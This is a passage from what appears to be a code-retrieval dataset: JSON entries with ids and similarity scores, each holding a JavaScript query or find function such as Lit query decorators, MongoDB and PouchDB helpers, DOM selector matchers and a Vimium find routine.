legacyQuery$l(descriptor, protoOrDescriptor, name) :\n standardQuery$l(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "2a3109e09a410390ee9ba3a5d9ab45c8", "score": "0.53835905", "text": "function findDocuments(query, callbackPassed) {\n 'use strict';\n\n\n /* jshint validthis : true*/\n var constructorInstance = this;\n\n\n // init\n var collection, configuration, queryDocument;\n\n\n // Populate variables\n collection = constructorInstance.collection;\n configuration = constructorInstance.configuration;\n\n\n // Define the query\n queryDocument = constructQuery.call(this, query);\n\n\n // Document invalid - return CRUD instance\n if (!queryDocument) {\n return constructorInstance;\n }\n // Document valid - Insert document\n else {\n _queryCollection(queryDocument, collection, configuration, callbackPassed, constructorInstance);\n return constructorInstance;\n }\n}", "title": "" }, { "docid": "5f8e0610a9881c3cbb99ea26919a6542", "score": "0.5378399", "text": "getMatchingDocumentsInCollection(collection, query) {\n let docs = new Promise((resolve, reject) => {\n this.connectAndPerformFunction((db) => {\n docs = db.collection(collection).find(query).toArray((err, result) => {\n if (err) {\n reject(err)\n throw err\n }\n resolve(result)\n })\n })\n })\n return docs\n }", "title": "" }, { "docid": "0bd1e6ce58406d5af1cf42fc0536c16e", "score": "0.535927", "text": "function query$k(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$k(descriptor, protoOrDescriptor, name) :\n standardQuery$k(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "e267aefdaba8d6af86055de959b33459", "score": "0.5334577", "text": "function query$3(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$3(descriptor, protoOrDescriptor, name) :\n standardQuery$3(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "2aa8c57a0aa5ee8cdd38872c5471b8cf", "score": "0.5325831", "text": "function query$e(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$e(descriptor, protoOrDescriptor, name) :\n standardQuery$e(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "0290254c4a0da455429e6cf6835da585", "score": "0.5325747", "text": "function query$m(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$m(descriptor, protoOrDescriptor, name) :\n standardQuery$m(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "bf8064093d6985e8b99d850578861567", "score": "0.53135407", "text": "find(query, keep = false, querySignature = null, prepareStatement = false) {\n\t}", "title": "" }, { "docid": "8851cdda8c0890ff710dbca40914d0e7", "score": "0.5297248", "text": "static async where(selector, options = {}) {\n // Get matches from database\n const query = `SELECT * FROM ${this.table} WHERE ${selector}`\n const results = await queryAsync(query)\n\n // Create models from results\n const models = await Promise.all(results.map(async row => {\n const model = new this.model(row)\n\n if(model.init) {\n await model.init(options.initArgs)\n }\n\n return model\n }))\n\n return new Collection(models)\n }", "title": "" }, { "docid": "5d07d5bbd912d76fe7c384bb6735c84b", "score": "0.52854526", "text": "'$match'(selector) {\r\n\r\n\t\tif (typeof selector === 'function') {\r\n\t\t\treturn selector(this);\r\n\t\t} else {\r\n\t\t\tlet parse_word = word => {\r\n\t\t\t\tif (word[0] === '.') {\r\n\t\t\t\t\treturn () => this.has_class(word.substr(1));\r\n\t\t\t\t} else {\r\n\t\t\t\t\treturn () => this.__type_name === word;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tlet parse_selector = selector => {\r\n\t\t\t\tlet words = selector.split(' ');\r\n\t\t\t\tlet res = words.map(x => parse_word(x));\r\n\t\t\t\treturn res;\r\n\t\t\t}\r\n\t\t\tlet parsed = parse_selector(selector);\r\n\t\t\tif (parsed.length === 1) {\r\n\t\t\t\treturn parsed[0]();\r\n\t\t\t} else {\r\n\t\t\t\tconsole.trace();\r\n\t\t\t\tthrow 'NYI';\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\r\n\t\t\r\n\t\tlet res = false;\r\n\t\tlet tn = this.__type_name;\r\n\t\tif (tn) {\r\n\t\t\tif (tn === selector) res = true;\r\n\t\t}\r\n\t\treturn res;\r\n\t}", "title": "" }, { "docid": "7a776d77b83dd0948420d333ab39ee70", "score": "0.52725697", "text": "function query$5(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$5(descriptor, protoOrDescriptor, name) :\n standardQuery$5(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "0db67687d9aeac17896ae7d57141bf1b", "score": "0.52637845", "text": "findOne(ns, query, ...optionsAndCallback) {\n let { options, callback } = this.handleSkippedOptions(...optionsAndCallback);\n if (this.client) {\n // see if we need to rehydrate _id\n if (query._id) {\n query._id = this.checkId(query._id);\n }\n this.$isDebug && this.$debug('findOne', ns, query);\n this.getCollection(ns).findOne(query, options, (err, doc) => {\n if (err) {\n this.$error('mongo error', err);\n callback && callback(err);\n } else {\n callback && callback(null, doc);\n }\n });\n } else {\n callback && callback(this.$error('db client not ready'));\n }\n }", "title": "" }, { "docid": "053e6f958374d605311717892169e7b3", "score": "0.5252704", "text": "async getByQuery (conditions, options = {}) {\n\t\t// query the database collection directly, but we'll still add the documents to our local cache as needed\n\t\tconst documents = await this.databaseCollection.getByQuery(\n\t\t\tconditions,\n\t\t\tObject.assign({}, options, { requestId: this.requestId })\n\t\t);\n\t\tlet models;\n\t\tif (!options.noCache) {\n\t\t\tmodels = await this._addDocumentsToCache(documents);\n\t\t}\n\t\treturn models || documents;\n\t}", "title": "" }, { "docid": "07faaf59f66769fb08bf5ea3ac226bf1", "score": "0.5229643", "text": "function makeFindQuery(getter) {\n return (container, text, options, waitForOptions) => (0, _waitFor.waitFor)(() => {\n return getter(container, text, options);\n }, waitForOptions);\n}", "title": "" }, { "docid": "f6604eba92a917fddb54ea9a5e5c87ea", "score": "0.5217373", "text": "function query$4(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$4(descriptor, protoOrDescriptor, name) :\n standardQuery$4(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "62ade7be8ac1a9a0f28b1b0fdfc05f39", "score": "0.52114934", "text": "function query$c(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$c(descriptor, protoOrDescriptor, name) :\n standardQuery$c(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "807d5245f3078dc40750f49e0aa851c1", "score": "0.51831514", "text": "function customQuery(db, fun, opts) {\n\t return new PouchPromise(function (resolve, reject) {\n\t db._query(fun, opts, function (err, res) {\n\t if (err) {\n\t return reject(err);\n\t }\n\t resolve(res);\n\t });\n\t });\n\t}", "title": "" }, { "docid": "1f67c0b2c003268b921ff85989519294", "score": "0.51660764", "text": "function query$i(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$i(descriptor, protoOrDescriptor, name) :\n standardQuery$i(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "b7030cfa0914a6538e3cbbea1ef96ccf", "score": "0.51548535", "text": "function query$d(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$d(descriptor, protoOrDescriptor, name) :\n standardQuery$d(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "977ef14fb3879475fb661451e622b844", "score": "0.5149555", "text": "function _find(collection, findType, patterns, context)\n{\n function __match(id)\n {\n for (var j = 0; j < keysLength; j++)\n {\n var matchPattern = patterns[keys[j]];\n var matchTarget = collection.prop(id, keys[j]);\n if(matchPattern instanceof RegExp) {\n if (matchPattern.test(matchTarget) === false)\n return false;\n } else {\n if (matchPattern !== matchTarget)\n return false;\n }\n }\n\n found.push(id);\n return true;\n }\n\n if (typeof patterns !== 'function')\n {\n if (typeof patterns !== 'object')\n throw new Error('Search patterns must be either a function or an object.');\n\n var found = [],\n keys = Object.keys(patterns),\n keysLength = keys.length;\n\n switch (findType)\n {\n case 2:\n // Find last\n collection.forEach(function (itemIndex, id)\n {\n if (__match.call(null, id))\n return true;\n }, null, true);\n\n return found.length ? found[0] : null;\n\n case 1:\n // Find first\n collection.forEach(function (itemIndex, id)\n {\n if (__match.call(null, id))\n return true;\n }, null);\n\n return found.length ? found[0] : null;\n\n default:\n // Find all\n collection.forEach(function (itemIndex, id)\n {\n __match.call(null, id);\n }, null);\n\n return found;\n }\n }\n else\n {\n collection.forEach(patterns, context);\n }\n}", "title": "" }, { "docid": "6d659112ae035b5affd168b20dfda952", "score": "0.5132266", "text": "function query$8(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$8(descriptor, protoOrDescriptor, name) :\n standardQuery$8(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "ab3fb9cd7ba34a4844931f7d8fc10d4c", "score": "0.5119559", "text": "function makeFindQuery(getter) {\n return (container, text, options, waitForElementOptions) =>\n waitForElement(() => getter(container, text, options), waitForElementOptions);\n}", "title": "" }, { "docid": "8ad8d047a5a26d819cb82efc14424cdd", "score": "0.51179326", "text": "findCursor(match, options) {\n return this.collection.find(match, options);\n }", "title": "" }, { "docid": "afd12a14a195663977d59d8710f0f970", "score": "0.51096", "text": "function find() {\n return db('kids');\n}", "title": "" }, { "docid": "d5b2fd760e987174f672d607e16de2d2", "score": "0.51037467", "text": "function query$a(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$a(descriptor, protoOrDescriptor, name) :\n standardQuery$a(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "9a6266036c05e1cd3458d673b0f7e3d4", "score": "0.5085575", "text": "function query$7(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$7(descriptor, protoOrDescriptor, name) :\n standardQuery$7(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "6b47403393c6478d119fcfab1f063ee5", "score": "0.5083319", "text": "function find(selector, context) {\n if(typeof selector === 'string' && (context instanceof Jquery || context === undefined)) {\n if(context instanceof Jquery) {\n return context.find(selector);\n }\n\n return Jquery(selector);\n }\n else {\n const message = 'first argument must be a string, ' +\n 'optional argument must be a Jquery Object';\n throw new InvalidArgumentsError('find', message);\n }\n }", "title": "" }, { "docid": "9b779c20e109bbf380fac1d4b94985c9", "score": "0.5075666", "text": "function customQuery(db, fun, opts) {\n return new PouchPromise(function (resolve, reject) {\n db._query(fun, opts, function (err, res) {\n if (err) {\n return reject(err);\n }\n resolve(res);\n });\n });\n}", "title": "" }, { "docid": "9b779c20e109bbf380fac1d4b94985c9", "score": "0.5075666", "text": "function customQuery(db, fun, opts) {\n return new PouchPromise(function (resolve, reject) {\n db._query(fun, opts, function (err, res) {\n if (err) {\n return reject(err);\n }\n resolve(res);\n });\n });\n}", "title": "" }, { "docid": "a40039453dac2a5ce87292e4ab721ba9", "score": "0.5060093", "text": "getMatches(query, callback, opts = {}) {\n if (opts.collectionOverride !== true) {\n this.preprocessQuery(query);\n }\n\n if ('sort' in opts) {\n let cursor;\n if ('projection' in opts) cursor = this._db.matches.find(query, opts.projection);\n else cursor = this._db.matches.find(query);\n\n cursor.sort(opts.sort).exec(callback);\n } else {\n if ('projection' in opts) {\n this._db.matches.find(query, opts.projection, callback);\n } else {\n this._db.matches.find(query, callback);\n }\n }\n }", "title": "" }, { "docid": "e43ba95123f0357cc9d771c22c7b72b0", "score": "0.50581527", "text": "function query(ast,selector){return match(ast,parse(selector));}", "title": "" }, { "docid": "0c31fa6e509e4b3eca859a32b1179a00", "score": "0.50496775", "text": "function query$9(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$9(descriptor, protoOrDescriptor, name) :\n standardQuery$9(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "43f818e01097c5afb38ff3b1effaca07", "score": "0.50455725", "text": "selectByQuery(query) {\n const doc = this.node.contentDocument;\n if (doc) {\n const el = doc.querySelector(query);\n if (el) {\n return this._select(el);\n }\n }\n }", "title": "" }, { "docid": "d48697fe1db6a9ee2cfd22773eb22b53", "score": "0.5038655", "text": "function query$b(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$b(descriptor, protoOrDescriptor, name) :\n standardQuery$b(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "3730dd8582d686225b815a0647c0a3d7", "score": "0.49987936", "text": "function pFind(query,options) {\n return new Promise((res,rej)=>{\n DB.find(query,options,(err,docs)=>{\n if(err) return rej(err)\n return res(docs)\n })\n })\n}", "title": "" }, { "docid": "72244b1b467c6bd028f8ac37afeb9975", "score": "0.49982667", "text": "function query$6(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$6(descriptor, protoOrDescriptor, name) :\n standardQuery$6(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "9ec3ef5d98c51ecf3d591bbbedfbe22d", "score": "0.49851614", "text": "function docMatch(db, doc, field, value) {\n return Promise.resolve(value.test(jmespath.search(doc, field)));\n}", "title": "" }, { "docid": "989f2c02f2abb6b3c17b6d10f5c7da0d", "score": "0.49479792", "text": "async getOneByQuery (conditions, options = {}) {\n\t\t// query the database collection directly, but we'll still add the documents to our local cache as needed\n\t\tconst document = await this.databaseCollection.getOneByQuery(\n\t\t\tconditions,\n\t\t\tObject.assign({}, options, { requestId: this.requestId })\n\t\t);\n\t\tlet model;\n\t\tif (document && !options.noCache) {\n\t\t\tmodel = this._addDataToCache(document);\n\t\t}\n\t\treturn model || document;\n\t}", "title": "" }, { "docid": "5d040d2e8694de6c6c096195b58ac81b", "score": "0.49298832", "text": "function query$j(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$j(descriptor, protoOrDescriptor, name) :\n standardQuery$j(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "901532ad731c41063138c5700246cf63", "score": "0.49268493", "text": "Kr(t, e, n) {\n /**\n * Returns whether the query matches a single document by path (rather than a\n * collection).\n */\n return function(t) {\n return tt.lt(t.path) && null === t.collectionGroup && 0 === t.filters.length;\n }(e) ? this.Zo(t, e.path) : le(e) ? this.tc(t, e, n) : this.ec(t, e, n);\n }", "title": "" }, { "docid": "7ba01316283ab0bc84f9722d45952745", "score": "0.4907039", "text": "function LQuery() {}", "title": "" }, { "docid": "9223593600ba11ac9b69d5961993e939", "score": "0.4890055", "text": "static async find(where, ...params){ \n let [data] = await this.DB.select(this.DATASTORE, ...MariaModel.parseWhere(where, params));\n if(data.length>1) {\n Logger.warn(`Criteria passed to find matched unexpected amount of records (expected 1, matched ${data.length}, only the first record will be returned`);\n }\n return new this(data[0]);\n }", "title": "" }, { "docid": "90e2a496559084296c3e29ddb5147dff", "score": "0.4865106", "text": "function myQuery(el) {\n\t\tif(arguments.length < 1) { return []; }\n\n\t\t// if the first parameter isn't an instance of the constructur,\n\t\t// we'll recursively make it one\n\t\t// Here's a more generic pattern:\n\t\t//\n\t\t// if (!(this instanceof arguments.callee)){\n\t\t//\treturn new arguments.callee(el);\n\t\t// }\n\t\t//\n\t\t// source: http://stackoverflow.com/questions/1889014/can-i-construct-a-javascript-object-without-using-the-new-keyword#answer-1889738\n\t\tif (!(this instanceof myQuery)){\n\t\t\treturn new myQuery(el);\n\t\t}\n\t\t\t\n\t\tthis.element = el;\n\t\t// notice that we pass the expected params from the $().method(params) into the wrapping function\n\t\t// arguments which the user shouldn't be aware of, are passed by default\n\t\tthis.hasClass = function(targetClass) {\n\t\t\treturn hasClass(this.element, targetClass);\n\t\t};\n\t\tthis.addClass = function(targetClass) {\n\t\t\taddClass(this.element, targetClass);\n\t\t};\n\t\tthis.removeClass = function(targetClass) {\n\t\t\tremoveClass(this.element, targetClass);\n\t\t};\n\t\tthis.toggleClass = function(targetClass) {\n\t\t\ttoggleClass(this.element, targetClass);\n\t\t};\n\t\tthis.css = function() {\n\t\t\treturn css.call(this,this.element, arguments);\n\t\t};\n\t\tthis.index = function() {\n\t\t\treturn index(this.element);\n\t\t};\n\t}", "title": "" }, { "docid": "c4c36ad51609b958dedc9c9b90bc0d5e", "score": "0.48343146", "text": "function TQuery() {}", "title": "" }, { "docid": "f1e043ac0944e2f8330a94408ccffafa", "score": "0.4833928", "text": "queryEmployees(selector = \"\", id = 0) {\n const queryStart = `SELECT employee.id, employee.first_name, employee.last_name, \n role.title AS role, role.salary AS salary, department.name AS department, COALESCE(CONCAT(manager.first_name, ' ', manager.last_name), 'None') AS manager \n FROM employee INNER JOIN role ON employee.role_id = role.id \n INNER JOIN department ON role.department_id = department.id \n LEFT JOIN employee AS manager ON employee.manager_id = manager.id`;\n\n const querySort = \"ORDER BY employee.id\";\n\n /* Query without predicate */\n if (id === 0 || selector === \"\") {\n return this.doQuery(`${queryStart} ${querySort}`);\n }\n\n let whereObj = {};\n\n /* Choose column in predicate based on selector */\n switch (selector) {\n case \"department\":\n whereObj[\"role.department_id\"] = id;\n break;\n case \"manager\":\n whereObj[\"employee.manager_id\"] = id;\n break;\n default:\n throw new Error(\"Invalid selector\");\n }\n return this.doQuery(`${queryStart} WHERE ? ${querySort}`, whereObj);\n }", "title": "" }, { "docid": "293ec2efc7c0261bbba9d533222104bc", "score": "0.48265877", "text": "function searchDb(collectionName, query, callback){\n db.collection(collectionName, getCallbackWithArgs('find',[query, callback]))\n }", "title": "" }, { "docid": "0c7fc525a6a97613f8f29836bc9dc635", "score": "0.4825776", "text": "static execute(query, options) {\n let result = null;\n options = Object.assign({\n backwards: false,\n caseSensitive: !this.query.ignoreCase,\n colorSelection: true,\n }, options);\n if (query == null) {\n query = FindMode.getQuery(options.backwards);\n }\n\n if (options.colorSelection) {\n document.body.classList.add(\"vimiumFindMode\");\n // ignore the selectionchange event generated by find()\n document.removeEventListener(\"selectionchange\", this.restoreDefaultSelectionHighlight, true);\n }\n\n try {\n result = window.find(\n query,\n options.caseSensitive,\n options.backwards,\n true,\n false,\n false,\n false,\n );\n } catch (error) {} // Failed searches throw on Firefox.\n\n // window.find focuses the |window| that it is called on. This gives us an opportunity to\n // (re-)focus another element/window, if that isn't the behaviour we want.\n if (options.postFindFocus != null) {\n options.postFindFocus.focus();\n }\n\n if (options.colorSelection) {\n setTimeout(\n () =>\n document.addEventListener(\"selectionchange\", this.restoreDefaultSelectionHighlight, true),\n 0,\n );\n }\n\n // We are either in normal mode (\"n\"), or find mode (\"/\"). We are not in insert mode.\n // Nevertheless, if a previous find landed in an editable element, then that element may still\n // be activated. In this case, we don't want to leave it behind (see #1412).\n if (document.activeElement && DomUtils.isEditable(document.activeElement)) {\n if (!DomUtils.isSelected(document.activeElement)) {\n document.activeElement.blur();\n }\n }\n\n return result;\n }", "title": "" }, { "docid": "d5b09deae014bb71fdc3eb68cbb8cb06", "score": "0.48095623", "text": "function matches(dom, selector) {\n return (dom.matches || dom.msMatchesSelector || dom.webkitMatchesSelector || dom.mozMatchesSelector).call(dom, selector)\n }", "title": "" }, { "docid": "cf4e586b064ef79c0bd5a4c16c46d2c8", "score": "0.4792958", "text": "async $(selector) {\n const { updatedSelector, queryHandler } = QueryHandler_js_1.getQueryHandlerAndSelector(selector);\n return queryHandler.queryOne(this, updatedSelector);\n }", "title": "" }, { "docid": "f64d1b7b73dbbb7ed62a9fefe804a523", "score": "0.4787108", "text": "function qc(selector, options) {\n var extraTime = (options && options.extraTime) || 0;\n // searchIn validation and formatting\n var search = (options && options.searchIn && options.searchIn.em) || document;\n if(search && !qelement.is(search))\n throw new TypeError(qs.eNd);\n // Cache\n for(var i=0; i<cache.length; i++)\n if(cache[i].selector == selector && ((options && options.searchIn) || document) == cache[i].searchIn)\n return cache[i].element;\n // Validation and qelement creation\n if(selector instanceof qelement)\n return tocache(selector, selector, extraTime, (options && options.searchIn) || null);\n if(selector instanceof HTMLElement)\n return tocache(newq(selector), selector, extraTime, (options && options.searchIn) || null);\n if(qlist.is(selector))\n return tocache(qelement.fromNodes(selector), selector, extraTime, (options && options.searchIn) || null);\n if(typeof(selector) != qs.ts)\n throw new TypeError(qs.eSelOrEm);\n // getElementById shortcut\n if(selector[0] == '#' && selector.substr(1).toLowerCase().containsOnly(qs.fId))\n return tocache(newq(search.getElementById(selector.substr(1))), selector, extraTime, (options && options.searchIn) || null);\n // Querying\n var results = search['querySelector' + (options && options.first ? '' : 'All')](selector);\n if(options && options.forceList)\n return qelement.fromNodes(results, true);\n if(results.length == 0)\n return null;\n if(results.length == 1)\n return newq(results[0]);\n return qelement.fromNodes(results);\n }", "title": "" }, { "docid": "998c050f6fb79076b7da4f80c9075331", "score": "0.47854903", "text": "function matches(dom, selector) {\n return (dom.matches || dom.msMatchesSelector || dom.webkitMatchesSelector || dom.mozMatchesSelector).call(dom, selector)\n }", "title": "" }, { "docid": "1d94a2b6dff8d1404882532756b8060a", "score": "0.4783593", "text": "function find() {}", "title": "" }, { "docid": "3149a8ba53387e6b3e9ef9e68b74d3f2", "score": "0.4781966", "text": "search(query) {\n\t var i, result, calculateScore;\n\t var self = this;\n\t var options = this.getSearchOptions(); // validate user-provided result scoring function\n\n\t if (self.settings.score) {\n\t calculateScore = self.settings.score.call(self, query);\n\n\t if (typeof calculateScore !== 'function') {\n\t throw new Error('Tom Select \"score\" setting must be a function that returns a function');\n\t }\n\t } // perform search\n\n\n\t if (query !== self.lastQuery) {\n\t self.lastQuery = query;\n\t result = self.sifter.search(query, Object.assign(options, {\n\t score: calculateScore\n\t }));\n\t self.currentResults = result;\n\t } else {\n\t result = Object.assign({}, self.currentResults);\n\t } // filter out selected items\n\n\n\t if (self.settings.hideSelected) {\n\t for (i = result.items.length - 1; i >= 0; i--) {\n\t let hashed = hash_key(result.items[i].id);\n\n\t if (hashed && self.items.indexOf(hashed) !== -1) {\n\t result.items.splice(i, 1);\n\t }\n\t }\n\t }\n\n\t return result;\n\t }", "title": "" }, { "docid": "5657e7c9e36eed2e2c2fd94d67b81019", "score": "0.4780431", "text": "function findCollection(query) {\n return api.search(query)\n}", "title": "" }, { "docid": "5d8224ce9d74cb721683166ee43af822", "score": "0.47757778", "text": "findOne(match, options, cb) {\n this.collection.findOne(match, options, cb);\n }", "title": "" }, { "docid": "3f8d7c6e0abe0db9d27392ba180da2e9", "score": "0.47688589", "text": "function showFound(isPerfection, selector, doc, start, limit) {\n var perfection = isPerfection ? _my.work.result.perfection : _my.work.result.found;\n if(doc) { // show hits inside a doc\n return(_my.showFoundByHit(perfection, selector, doc, start, limit));\n } else { // show docs in perfection with some hits\n return(_my.showFoundByDoc(isPerfection, perfection, selector, start, limit));\n }\n }", "title": "" }, { "docid": "d5ab41f9810c93dfb14b7701c3fbeac2", "score": "0.47549835", "text": "function matches(node, selector) {\n if (!matchesImpl) {\n var body = document.body;\n var nativeMatch = body.matches || body.matchesSelector || body.webkitMatchesSelector || body.mozMatchesSelector || body.msMatchesSelector;\n\n matchesImpl = function matchesImpl(n, s) {\n return nativeMatch.call(n, s);\n };\n }\n\n return matchesImpl(node, selector);\n}", "title": "" }, { "docid": "d5ab41f9810c93dfb14b7701c3fbeac2", "score": "0.47549835", "text": "function matches(node, selector) {\n if (!matchesImpl) {\n var body = document.body;\n var nativeMatch = body.matches || body.matchesSelector || body.webkitMatchesSelector || body.mozMatchesSelector || body.msMatchesSelector;\n\n matchesImpl = function matchesImpl(n, s) {\n return nativeMatch.call(n, s);\n };\n }\n\n return matchesImpl(node, selector);\n}", "title": "" }, { "docid": "48c781bd7aac6711af4fd7ad1031942c", "score": "0.47467822", "text": "function read(name, selector, cb) {\n \n var recIds = index ? index[name] || [] : []\n , items = {}\n , errors = [];\n \n if(typeof selector === 'string') // assume rec._id\n recIds = [selector];\n \n _.each(recIds, function(id) {\n try {\n items[id] = require( [config.path, 'store', name, id+'.json'].join('/') );\n }\n catch(e) {\n errors.push(e);\n }\n });\n \n if(typeof selector === 'object') {\n items = _.filter(items, function(item) {\n return _.every(selector, function(val,key) {\n \n if(key[0]=='$') { // treat as $or for now\n return _.some(val, function(sel) { // one of the $or criteria needs to be met to pass\n return _.every(sel, function(v,k) { // the whole criteria must pas\n var itemVal = getDotVal(item,k);\n return itemVal == v;\n });\n });\n }\n \n if(typeof val === 'object') { // search within key val for more mongo operators\n var keys = _.keys(val);\n if(keys[0] && keys[0][0]=='$') {\n var itemVal = getDotVal(item, key);\n switch(keys[0]) {\n case \"$exists\":\n return val[keys[0]] ? !itemVal : !!itemVal;\n case \"$in\":\n return val[keys[0]].indexOf(itemVal) != -1;\n }\n }\n }\n return item[key] == val;\n });\n });\n }\n \n items = _.map(items, function(i) { return EJSON.fromJSONValue(i); });\n \n cb( errors.length ? errors : null, typeof selector === 'string' ? items[0] : items);\n }", "title": "" }, { "docid": "9693e8e79d99d5d4c4dab6599272c03d", "score": "0.47325173", "text": "find(selector) {\n \t\tvar result = DOM.find(this.el, selector);\n \t\treturn result;\n\t}", "title": "" }, { "docid": "f7fa77d2342c7427da21454c7c319cf8", "score": "0.47131848", "text": "function LQuery(){}", "title": "" }, { "docid": "fbe9556df82a7617974af248207e8b6a", "score": "0.47116286", "text": "function QueryFactory() {\n return;\n }", "title": "" }, { "docid": "48b074ace4c24ed43cabf1fae2c38802", "score": "0.47005445", "text": "function inputQuery(userQuery){\n //return the function itself if nothing is passed\n if(!userQuery){return inputQuery}\n\n \n //if no trim method exists add one to the prototype of the String object\n if(!String.prototype.trim){\n // Make sure we trim BOM and NBSP\n const rtrim = /^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;\n //adding trim to string prototype\n String.prototype.trim = function(){\n return this.replace(rtrim, '');\n };\n }\n //else trim the input query\n const query = userQuery.trim();\n \n //finding element using match element iife function\n const elementMatched = (function(q){\n //for selectors based on class\n if(q[0]==='.'){\n //calling the\n return returnDomElement.CLASS(q.slice(1, q.length));\n\n //for selectors based on ID\n }else if(q[0]==='#'){\n return returnDomElement.ID(q.slice(1, q.length));\n\n //for selectors based on name \n }else if(q[0]==='*'){\n return returnDomElement.NAME(q.slice(1, q.length));\n }else{\n\n //for selectors based on tag name\n return returnDomElement.TAG(q);\n }\n })(query); //passing the sanitized input query to the elementMatched function which returns the actual DOM element(s) if found\n \n if(!elementMatched || elementMatched.length===0){\n //if nothing found\n return new Error('No element found');\n }else{\n // console.log('hit2');\n //returning element found\n return elementMatched;\n }\n }", "title": "" }, { "docid": "3eb6d272eaac41fc5b240d3399bf815f", "score": "0.4699869", "text": "function queryAll(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelectorAll(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery(descriptor, protoOrDescriptor, name) :\n standardQuery(descriptor, protoOrDescriptor);\n };\n}", "title": "" }, { "docid": "3eb6d272eaac41fc5b240d3399bf815f", "score": "0.4699869", "text": "function queryAll(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelectorAll(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery(descriptor, protoOrDescriptor, name) :\n standardQuery(descriptor, protoOrDescriptor);\n };\n}", "title": "" }, { 